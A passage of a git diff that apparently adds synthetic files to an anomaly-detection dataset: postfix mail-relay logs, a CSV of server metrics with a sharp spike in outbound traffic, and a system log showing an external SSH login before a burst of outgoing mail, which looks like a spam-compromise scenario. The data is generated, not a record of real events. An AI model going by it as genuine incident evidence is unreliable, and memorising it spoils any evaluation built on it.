postfix/smtp[17606]: FB79AE987E: to=, from=, relay=aspmx.l.google.com[101.132.46.73]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:17:27 server postfix/smtp[17604]: 545E59A0E4: to=, from=, relay=aspmx.l.google.com[179.110.160.128]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:17:31 server postfix/smtp[17607]: 4C20D07755: to=, from=, relay=aspmx.l.google.com[165.34.250.254]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:17:32 server postfix/smtp[17608]: 960F17086E: to=, from=, relay=business.biz[73.146.50.37]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 07 04:17:37 server postfix/smtp[17613]: 61CF117EB9: to=, from=, relay=aspmx.l.google.com[170.25.118.94]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:17:38 server postfix/smtp[17611]: C2D3301496: to=, from=, relay=example.com[221.107.28.111]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 07 04:17:39 server postfix/smtp[17609]: E14F35728E: to=, from=, relay=aspmx.l.google.com[244.225.92.156]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:17:39 server postfix/smtp[17610]: D0CFC179EF: to=, from=, relay=business.biz[201.133.35.158]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 07 04:17:39 server postfix/smtp[17612]: BAAD987E9B: to=, from=, relay=aspmx.l.google.com[93.203.242.172]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:17:43 server postfix/smtp[17615]: FCD1B1BACF: to=, from=, relay=business.biz[223.114.75.192]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 07 04:17:44 server postfix/smtp[17614]: A77AF29A9E: to=, from=, relay=aspmx.l.google.com[97.14.48.208]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:17:45 server postfix/smtp[17619]: 44EBEB04E2: to=, from=, relay=web-host.org[147.65.115.77]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 07 04:17:46 server postfix/smtp[17616]: 4C12CC03AD: to=, from=, relay=example.com[165.46.163.46]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 07 04:17:47 server postfix/smtp[17617]: EDCF4249B1: to=, from=, relay=aspmx.l.google.com[12.184.55.223]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:17:48 server postfix/smtp[17620]: 2E0FB6ED71: to=, from=, relay=aspmx.l.google.com[54.87.28.135]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:17:49 server postfix/smtp[17618]: E9AB72F58D: to=, from=, relay=aspmx.l.google.com[83.120.231.50]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:17:50 server postfix/smtp[17624]: 8CE62C9E5C: to=, from=, relay=aspmx.l.google.com[240.235.30.152]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:17:51 server postfix/smtp[17622]: 4945B216F9: to=, from=, relay=aspmx.l.google.com[102.113.63.181]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:17:53 server postfix/smtp[17621]: 6DFBBD1153: to=, from=, relay=aspmx.l.google.com[118.111.204.178]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:17:54 server postfix/smtp[17623]: 2D937E1D05: to=, from=, relay=aspmx.l.google.com[192.168.122.231]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:17:55 server postfix/smtp[17628]: C9FFFCD455: to=, from=, relay=web-host.org[85.157.90.20]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 07 04:17:57 server postfix/smtp[17625]: E29A34A6EA: to=, from=, relay=aspmx.l.google.com[148.127.13.155]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:17:57 server postfix/smtp[17626]: 91D4E6AF8D: to=, from=, relay=aspmx.l.google.com[127.142.179.133]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:17:58 server postfix/smtp[17627]: D8241E9F71: to=, from=, relay=user-mail.info[12.120.243.185]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 07 04:17:59 server postfix/smtp[17629]: BAFE3740F9: to=, from=, relay=aspmx.l.google.com[248.251.247.61]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:18:00 server postfix/smtp[17632]: 5C4676B99A: to=, from=, relay=user-mail.info[6.90.47.92]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 07 04:18:03 server postfix/smtp[17631]: D080A79C08: to=, from=, relay=web-host.org[13.104.240.44]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 07 04:18:04 server postfix/smtp[17630]: D6CA19F0EB: to=, from=, relay=aspmx.l.google.com[12.195.45.232]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:18:04 server postfix/smtp[17633]: BC68A7F3C3: to=, from=, relay=mailservice.net[215.156.14.60]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 07 04:18:06 server postfix/smtp[17634]: EB720E143B: to=, from=, relay=aspmx.l.google.com[223.247.13.148]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:18:06 server postfix/smtp[17635]: AA59481BF4: to=, from=, relay=aspmx.l.google.com[190.190.245.97]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:18:13 server postfix/smtp[17637]: 880D277B2E: to=, from=, relay=aspmx.l.google.com[102.73.240.24]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:18:13 server postfix/smtp[17638]: D9D8D7E98F: to=, from=, relay=example.com[72.79.37.201]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 07 04:18:14 server postfix/smtp[17636]: 7DF522DE6D: to=, from=, relay=aspmx.l.google.com[96.82.2.215]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:18:16 server postfix/smtp[17640]: 041D28882E: to=, from=, relay=mailservice.net[248.174.49.239]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 07 04:18:17 server postfix/smtp[17639]: 84BFC46ACE: to=, from=, relay=aspmx.l.google.com[229.33.45.28]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:18:20 server postfix/smtp[17642]: 63AECE4901: to=, from=, relay=aspmx.l.google.com[201.198.246.68]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:18:21 server postfix/smtp[17643]: 0E6BCA9BF7: to=, from=, relay=aspmx.l.google.com[45.186.35.156]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:18:21 server postfix/smtp[17644]: F879BF1DC0: to=, from=, relay=business.biz[48.197.114.242]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 07 04:18:22 server postfix/smtp[17641]: 6255E1DDFD: to=, from=, relay=business.biz[61.107.191.207]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 07 04:18:22 server postfix/smtp[17645]: D78D9DF3E1: to=, from=, relay=example.com[64.162.128.221]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 07 04:18:25 server postfix/smtp[17646]: F70913AA0D: to=, from=, relay=mailservice.net[106.171.225.39]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 07 04:18:28 server postfix/smtp[17647]: A9D3C56169: to=, from=, relay=aspmx.l.google.com[135.11.52.221]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:18:30 server postfix/smtp[17648]: C61C76E970: to=, from=, relay=aspmx.l.google.com[75.241.106.199]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:18:32 server postfix/smtp[17650]: B0C13BF275: to=, from=, relay=aspmx.l.google.com[227.86.99.143]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:18:33 server postfix/smtp[17651]: 74EE7B9B41: to=, from=, relay=example.com[171.234.189.155]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 07 04:18:33 server postfix/smtp[17652]: E6C33453DE: to=, from=, relay=aspmx.l.google.com[242.52.82.237]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:18:34 server postfix/smtp[17649]: 3431577A50: to=, from=, relay=aspmx.l.google.com[65.232.115.142]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:18:35 server postfix/smtp[17654]: 9CBED04CCA: to=, from=, relay=aspmx.l.google.com[6.241.56.58]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:18:36 server postfix/smtp[17653]: 2F18FFCB6A: to=, from=, relay=aspmx.l.google.com[194.250.216.231]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:18:40 server postfix/smtp[17656]: 4F183414FB: to=, from=, relay=user-mail.info[224.196.239.216]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 07 04:18:42 server postfix/smtp[17655]: 0F9F2BB6B4: to=, from=, relay=mailservice.net[165.20.248.31]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 07 04:18:44 server postfix/smtp[17657]: 315EEE8E72: to=, from=, relay=aspmx.l.google.com[248.235.89.226]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:18:45 server postfix/smtp[17658]: FF1C01A4FD: to=, from=, relay=aspmx.l.google.com[18.207.111.160]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:18:45 server postfix/smtp[17659]: 7F9A430707: to=, from=, relay=aspmx.l.google.com[247.42.228.89]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:18:46 server postfix/smtp[17660]: E1AC8E56F8: to=, from=, relay=aspmx.l.google.com[162.148.199.142]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:18:50 server postfix/smtp[17662]: A2D5F2019D: to=, from=, relay=example.com[36.111.119.222]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 07 04:18:53 server postfix/smtp[17661]: FF7482E3E9: to=, from=, relay=aspmx.l.google.com[18.8.106.107]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:18:55 server postfix/smtp[17666]: B74507FF74: to=, from=, relay=aspmx.l.google.com[146.152.81.162]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:18:57 server postfix/smtp[17665]: 1A4B14D01F: to=, from=, relay=aspmx.l.google.com[70.113.236.232]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:18:58 server postfix/smtp[17663]: 4BB48EF165: to=, from=, relay=aspmx.l.google.com[66.248.206.81]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:18:59 server postfix/smtp[17664]: 920031AE9B: to=, from=, relay=aspmx.l.google.com[40.136.72.120]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:18:59 server postfix/smtp[17667]: 24F6AF92BD: to=, from=, relay=aspmx.l.google.com[251.100.6.107]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:19:02 server postfix/smtp[17669]: E7E69EF87D: to=, from=, relay=user-mail.info[243.203.177.66]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 07 04:19:03 server postfix/smtp[17670]: 004786E7E2: to=, from=, relay=business.biz[103.45.156.4]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 07 04:19:04 server postfix/smtp[17668]: 6828963994: to=, from=, relay=aspmx.l.google.com[39.9.29.168]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:19:05 server postfix/smtp[17673]: 29F3FFC15A: to=, from=, relay=aspmx.l.google.com[60.224.22.218]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:19:06 server postfix/smtp[17671]: 8EB8C564A6: to=, from=, relay=aspmx.l.google.com[136.147.38.176]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:19:07 server postfix/smtp[17672]: DBDBA6A6D6: to=, from=, relay=aspmx.l.google.com[243.161.92.120]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:19:12 server postfix/smtp[17674]: 9DCF96349B: to=, from=, relay=aspmx.l.google.com[250.31.74.60]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:19:12 server postfix/smtp[17676]: E7A4B9BB21: to=, from=, relay=web-host.org[2.184.228.139]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 07 04:19:13 server postfix/smtp[17675]: 84C02C68AD: to=, from=, relay=aspmx.l.google.com[136.113.210.24]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:19:16 server postfix/smtp[17678]: EA7A2E1551: to=, from=, relay=aspmx.l.google.com[27.243.17.41]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:19:17 server postfix/smtp[17677]: 3D6AF2016F: to=, from=, relay=aspmx.l.google.com[192.47.246.156]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:19:19 server postfix/smtp[17679]: 194B16B9E2: to=, from=, relay=aspmx.l.google.com[137.174.235.200]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:19:20 server postfix/smtp[17680]: 0ADA9F7BA0: to=, from=, relay=web-host.org[93.180.130.126]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 07 04:19:21 server postfix/smtp[17682]: CAAF040E7C: to=, from=, relay=example.com[32.171.234.81]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 07 04:19:22 server postfix/smtp[17683]: 54B2D7B753: to=, from=, relay=business.biz[84.20.157.196]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 07 04:19:23 server postfix/smtp[17681]: 5A8FC24426: to=, from=, relay=web-host.org[90.86.87.184]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 07 04:19:23 server postfix/smtp[17684]: 20C5ADD1B2: to=, from=, relay=aspmx.l.google.com[50.48.192.180]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:19:26 server postfix/smtp[17686]: ED502A6B3D: to=, from=, relay=aspmx.l.google.com[172.7.160.18]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:19:27 server postfix/smtp[17687]: 61D5B39AC6: to=, from=, relay=aspmx.l.google.com[71.34.181.250]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 07 04:19:28 server postfix/smtp[17685]: 26E6EB37F4: to=, from=, relay=aspmx.l.google.com[205.118.244.103]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) diff --git a/mali_dataset/scenario_5/mali_5_8.csv b/mali_dataset/scenario_5/mali_5_8.csv new file mode 100644 index 0000000000000000000000000000000000000000..95460dc3e8ef1929f3457ed6d9404a4f7bd14543 --- /dev/null +++ b/mali_dataset/scenario_5/mali_5_8.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-08T15:19:00Z,13.25,42.47,24.47,1.42,1.62 +2025-08-08T15:19:05Z,10.48,40.14,21.93,1.41,1.44 +2025-08-08T15:19:10Z,18.78,40.2,19.12,1.49,1.65 +2025-08-08T15:19:15Z,12.78,37.43,21.35,0.66,1.73 +2025-08-08T15:19:20Z,19.1,37.34,17.92,0.93,0.98 +2025-08-08T15:19:25Z,12.12,42.25,20.44,1.37,2.33 +2025-08-08T15:19:30Z,19.88,38.14,16.86,0.74,2.34 +2025-08-08T15:19:35Z,18.06,36.78,15.88,1.25,1.88 +2025-08-08T15:19:40Z,18.57,37.48,22.12,0.5,1.83 +2025-08-08T15:19:45Z,14.03,38.81,23.61,0.78,1.54 +2025-08-08T15:19:50Z,13.53,36.47,20.57,1.16,2.28 +2025-08-08T15:19:55Z,10.45,40.14,15.59,0.52,1.88 +2025-08-08T15:20:00Z,17.0,35.62,17.04,1.32,2.17 +2025-08-08T15:20:05Z,14.07,39.27,24.32,1.1,1.85 +2025-08-08T15:20:10Z,17.95,41.73,18.61,0.66,1.22 +2025-08-08T15:20:15Z,15.72,35.55,24.06,1.26,1.25 +2025-08-08T15:20:20Z,13.54,41.31,16.63,0.56,2.27 +2025-08-08T15:20:25Z,10.02,43.83,23.26,0.9,2.13 +2025-08-08T15:20:30Z,10.18,36.2,16.78,1.0,1.35 +2025-08-08T15:20:35Z,12.12,43.6,19.36,1.01,2.28 +2025-08-08T15:20:40Z,50.8,44.61,26.03,0.56,21.87 +2025-08-08T15:20:45Z,60.84,45.69,21.56,1.61,24.28 +2025-08-08T15:20:50Z,36.73,48.8,25.14,1.48,22.38 +2025-08-08T15:20:55Z,57.59,45.5,21.91,1.07,36.95 +2025-08-08T15:21:00Z,49.06,45.05,23.77,0.76,41.16 +2025-08-08T15:21:05Z,65.59,47.03,25.85,0.65,40.22 +2025-08-08T15:21:10Z,72.3,40.9,20.05,1.78,30.91 +2025-08-08T15:21:15Z,50.29,45.94,26.17,1.15,36.75 +2025-08-08T15:21:20Z,55.68,48.7,29.31,1.55,29.51 +2025-08-08T15:21:25Z,61.38,45.09,20.98,0.73,22.52 +2025-08-08T15:21:30Z,72.71,44.31,19.76,0.58,27.39 +2025-08-08T15:21:35Z,67.0,42.62,29.0,1.29,20.75 +2025-08-08T15:21:40Z,32.17,42.22,20.76,0.51,31.7 +2025-08-08T15:21:45Z,49.41,43.71,25.42,0.82,45.67 +2025-08-08T15:21:50Z,65.15,49.04,25.82,1.34,24.42 +2025-08-08T15:21:55Z,31.87,47.46,26.25,1.57,22.62 +2025-08-08T15:22:00Z,24.35,47.64,29.02,1.28,41.66 +2025-08-08T15:22:05Z,32.06,44.04,27.31,1.02,43.39 +2025-08-08T15:22:10Z,60.1,41.1,22.91,0.83,26.88 +2025-08-08T15:22:15Z,67.25,42.78,20.45,1.68,42.94 +2025-08-08T15:22:20Z,41.93,44.62,26.4,0.95,37.44 +2025-08-08T15:22:25Z,40.84,42.95,26.96,1.28,26.91 +2025-08-08T15:22:30Z,25.25,44.91,23.07,1.34,34.05 +2025-08-08T15:22:35Z,72.49,48.89,24.74,0.55,32.39 +2025-08-08T15:22:40Z,30.38,42.79,18.16,1.65,45.82 +2025-08-08T15:22:45Z,55.22,41.49,25.72,1.76,43.15 +2025-08-08T15:22:50Z,44.8,48.67,25.82,1.95,40.38 +2025-08-08T15:22:55Z,74.78,46.66,20.61,1.74,24.04 +2025-08-08T15:23:00Z,36.23,48.7,24.88,1.34,49.38 +2025-08-08T15:23:05Z,41.67,44.38,18.64,0.55,38.52 +2025-08-08T15:23:10Z,66.85,47.59,20.98,1.73,30.33 +2025-08-08T15:23:15Z,42.15,45.48,25.43,1.74,27.59 +2025-08-08T15:23:20Z,53.02,46.68,19.15,1.69,43.76 +2025-08-08T15:23:25Z,64.9,43.84,29.14,0.81,35.0 +2025-08-08T15:23:30Z,55.64,45.45,26.12,1.12,25.92 +2025-08-08T15:23:35Z,28.57,41.86,29.82,0.9,42.49 +2025-08-08T15:23:40Z,41.67,46.14,20.6,0.8,37.98 +2025-08-08T15:23:45Z,71.22,41.23,20.26,0.72,28.84 +2025-08-08T15:23:50Z,68.83,47.3,28.64,1.32,41.01 +2025-08-08T15:23:55Z,21.48,43.0,22.92,1.16,46.17 +2025-08-08T15:24:00Z,45.84,42.55,25.55,1.76,41.84 +2025-08-08T15:24:05Z,41.03,41.39,20.28,1.48,38.41 +2025-08-08T15:24:10Z,65.66,49.94,29.85,1.8,42.19 +2025-08-08T15:24:15Z,58.46,45.93,25.03,1.3,38.21 +2025-08-08T15:24:20Z,44.98,45.16,28.1,1.04,29.81 +2025-08-08T15:24:25Z,74.04,42.76,29.95,1.85,33.47 +2025-08-08T15:24:30Z,41.91,46.65,19.96,1.03,24.9 +2025-08-08T15:24:35Z,60.47,42.83,20.73,1.25,39.74 +2025-08-08T15:24:40Z,50.85,47.45,19.62,0.95,22.95 +2025-08-08T15:24:45Z,70.45,49.56,20.34,1.86,41.29 +2025-08-08T15:24:50Z,51.18,49.01,23.74,1.76,31.42 +2025-08-08T15:24:55Z,42.77,45.13,19.87,0.61,48.68 +2025-08-08T15:25:00Z,71.74,43.6,29.06,1.41,26.61 +2025-08-08T15:25:05Z,70.66,45.77,20.36,1.23,44.97 +2025-08-08T15:25:10Z,44.8,41.43,24.9,0.65,34.23 +2025-08-08T15:25:15Z,26.06,44.57,24.17,1.9,29.54 +2025-08-08T15:25:20Z,68.62,47.13,23.5,0.99,40.97 +2025-08-08T15:25:25Z,28.83,48.1,23.24,1.8,45.96 +2025-08-08T15:25:30Z,60.45,42.81,21.15,0.99,43.69 +2025-08-08T15:25:35Z,22.98,49.06,23.28,0.93,36.52 +2025-08-08T15:25:40Z,43.76,44.97,27.81,1.77,29.7 +2025-08-08T15:25:45Z,67.01,43.33,27.96,1.4,45.67 +2025-08-08T15:25:50Z,47.95,47.37,24.76,1.84,24.61 +2025-08-08T15:25:55Z,63.58,48.04,26.66,0.59,38.22 +2025-08-08T15:26:00Z,21.63,46.75,21.91,1.41,45.36 +2025-08-08T15:26:05Z,43.95,41.96,21.93,1.4,26.24 +2025-08-08T15:26:10Z,66.32,46.01,19.41,0.76,34.63 +2025-08-08T15:26:15Z,50.21,45.28,29.1,0.72,24.64 +2025-08-08T15:26:20Z,29.59,45.98,18.91,1.38,45.0 +2025-08-08T15:26:25Z,54.6,45.7,28.36,1.18,29.62 diff --git a/mali_dataset/scenario_5/mali_5_8.log b/mali_dataset/scenario_5/mali_5_8.log new file mode 100644 index 0000000000000000000000000000000000000000..27f61463b23c5e828fe9ec13209e854d2d14f4dc --- /dev/null +++ b/mali_dataset/scenario_5/mali_5_8.log @@ -0,0 +1,250 @@ +Aug 08 15:19:05 server systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 08 15:19:15 server sshd[8244]: Accepted password for user admin from 247.105.127.13 port 48204 ssh2 +Aug 08 15:19:40 server CRON[9114]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Aug 08 15:20:40 server postfix/smtp[16985]: 8DAE02C6D1: to=, from=, relay=aspmx.l.google.com[211.155.223.157]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:20:40 server postfix/smtp[16988]: EA1AF5CC86: to=, from=, relay=aspmx.l.google.com[105.115.162.62]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:20:43 server postfix/smtp[16986]: F8722FEABC: to=, from=, relay=business.biz[191.144.210.239]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 15:20:43 server postfix/smtp[16989]: 60E0B1E491: to=, from=, relay=aspmx.l.google.com[101.163.64.135]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:20:44 server postfix/smtp[16987]: A8AC2F69EB: to=, from=, relay=aspmx.l.google.com[203.129.76.93]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:20:45 server postfix/smtp[16990]: A2F484FD83: to=, from=, relay=business.biz[26.156.38.47]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 15:20:47 server postfix/smtp[16991]: 6692B47566: to=, from=, relay=aspmx.l.google.com[238.175.186.170]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:20:50 server postfix/smtp[16992]: 0B72374417: to=, from=, relay=user-mail.info[79.87.173.49]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 15:20:52 server postfix/smtp[16993]: 34C05348FF: to=, from=, relay=aspmx.l.google.com[43.122.204.111]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:20:52 server postfix/smtp[16994]: 6DDF85D0D7: to=, from=, relay=aspmx.l.google.com[117.178.162.116]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:20:55 server postfix/smtp[16995]: E0A925BDB8: to=, from=, relay=business.biz[222.237.39.111]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 15:20:56 server postfix/smtp[16996]: 4BD4476937: to=, from=, relay=aspmx.l.google.com[127.242.107.184]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:20:57 server postfix/smtp[16997]: B2AFF0B382: to=, from=, relay=aspmx.l.google.com[112.61.239.233]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:20:58 server postfix/smtp[16998]: 19DB37734B: to=, from=, relay=web-host.org[129.199.186.203]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 15:20:58 server postfix/smtp[16999]: 54526E2717: to=, from=, relay=aspmx.l.google.com[20.173.90.50]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:21:02 server postfix/smtp[17001]: AACF5261C2: to=, from=, relay=aspmx.l.google.com[118.65.189.226]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:21:03 server postfix/smtp[17000]: 0DBC7D6B65: to=, from=, relay=aspmx.l.google.com[81.87.139.133]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:21:03 server postfix/smtp[17002]: E649C404DE: to=, from=, relay=aspmx.l.google.com[161.235.135.140]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:21:07 server postfix/smtp[17003]: 48BC8F16CB: to=, from=, relay=aspmx.l.google.com[45.132.168.29]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:21:08 server postfix/smtp[17004]: E13A911430: to=, from=, relay=aspmx.l.google.com[147.177.152.83]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:21:14 server postfix/smtp[17005]: FF5FFA389A: to=, from=, relay=aspmx.l.google.com[250.61.156.80]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:21:14 server postfix/smtp[17006]: A271E2559D: to=, from=, relay=aspmx.l.google.com[220.3.124.2]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:21:18 server postfix/smtp[17007]: E5A43D645C: to=, from=, relay=business.biz[219.102.128.159]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 15:21:18 server postfix/smtp[17008]: 261797F569: to=, from=, relay=aspmx.l.google.com[90.185.82.248]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:21:21 server postfix/smtp[17010]: 51E3C16019: to=, from=, relay=user-mail.info[136.31.6.254]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 15:21:21 server postfix/smtp[17011]: 5059FF18D4: to=, from=, relay=aspmx.l.google.com[64.43.97.131]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:21:22 server postfix/smtp[17012]: C4D0F1DC12: to=, from=, relay=aspmx.l.google.com[140.158.32.151]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:21:23 server postfix/smtp[17009]: 08F87EBAE7: to=, from=, relay=web-host.org[90.70.210.105]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 15:21:25 server postfix/smtp[17016]: 7AC0A8224A: to=, from=, relay=aspmx.l.google.com[106.214.205.175]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:21:25 server postfix/smtp[17017]: DB8AE5EE01: to=, from=, relay=aspmx.l.google.com[106.110.87.20]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 15:21:26 server 